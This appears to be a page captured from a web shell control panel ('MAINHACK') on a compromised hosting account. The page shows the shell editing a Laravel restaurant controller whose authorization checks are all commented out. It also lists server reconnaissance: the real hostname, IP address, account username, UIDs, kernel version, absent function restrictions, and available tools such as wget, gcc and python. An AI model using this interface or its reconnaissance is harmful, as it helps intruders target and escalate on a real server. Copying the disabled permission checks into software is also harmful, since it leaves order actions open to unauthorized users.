[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: KitchenController.php
<?php namespace App\Http\Controllers\Restaurant; use App\TransactionSellLine; use App\Utils\RestaurantUtil; use App\Utils\Util; use Illuminate\Http\Request; use Illuminate\Http\Response; use Illuminate\Routing\Controller; class KitchenController extends Controller { /** * All Utils instance. */ protected $commonUtil; protected $restUtil; /** * Constructor * * @param Util $commonUtil * @param RestaurantUtil $restUtil * @return void */ public function __construct(Util $commonUtil, RestaurantUtil $restUtil) { $this->commonUtil = $commonUtil; $this->restUtil = $restUtil; } /** * Display a listing of the resource. * * @return Response */ public function index() { // if (!auth()->user()->can('sell.view')) { // abort(403, 'Unauthorized action.'); // } $business_id = request()->session()->get('user.business_id'); $orders = $this->restUtil->getAllOrders($business_id, ['line_order_status' => 'received', 'is_kitchen_order' => 1]); return view('restaurant.kitchen.index', compact('orders')); } /** * Marks an order as cooked * * @return json $output */ public function markAsCooked($id) { // if (!auth()->user()->can('sell.update')) { // abort(403, 'Unauthorized action.'); // } try { $business_id = request()->session()->get('user.business_id'); $sl = TransactionSellLine::leftJoin('transactions as t', 't.id', '=', 'transaction_sell_lines.transaction_id') ->where('t.business_id', $business_id) ->where('transaction_id', $id) ->where(function ($q) { $q->whereNull('res_line_order_status') ->orWhere('res_line_order_status', 'received'); }) ->update(['res_line_order_status' => 'cooked']); $output = ['success' => 1, 'msg' => trans('restaurant.order_successfully_marked_cooked'), ]; } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); $output = ['success' => 0, 'msg' => trans('messages.something_went_wrong'), ]; } return $output; } /** * Retrives fresh orders * * @return Json $output */ public function refreshOrdersList(Request $request) { // if (!auth()->user()->can('sell.view')) { // abort(403, 'Unauthorized action.'); // } $business_id = request()->session()->get('user.business_id'); $orders_for = $request->orders_for; $filter = []; $service_staff_id = request()->session()->get('user.id'); if (! $this->restUtil->is_service_staff($service_staff_id) && ! empty($request->input('service_staff_id'))) { $service_staff_id = $request->input('service_staff_id'); } if ($orders_for == 'kitchen') { $filter['line_order_status'] = 'received'; $filter['is_kitchen_order'] = 1; } elseif ($orders_for == 'waiter') { $filter['waiter_id'] = $service_staff_id; } $orders = $this->restUtil->getAllOrders($business_id, $filter); return view('restaurant.partials.show_orders', compact('orders', 'orders_for')); } /** * Retrives fresh orders * * @return Json $output */ public function refreshLineOrdersList(Request $request) { // if (!auth()->user()->can('sell.view')) { // abort(403, 'Unauthorized action.'); // } $business_id = request()->session()->get('user.business_id'); $orders_for = $request->orders_for; $filter = []; $service_staff_id = request()->session()->get('user.id'); if (! $this->restUtil->is_service_staff($service_staff_id) && ! empty($request->input('service_staff_id'))) { $service_staff_id = $request->input('service_staff_id'); } if ($orders_for == 'kitchen') { $filter['order_status'] = 'received'; } elseif ($orders_for == 'waiter') { $filter['waiter_id'] = $service_staff_id; } $line_orders = $this->restUtil->getLineOrders($business_id, $filter); return view('restaurant.partials.line_orders', compact('line_orders', 'orders_for')); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285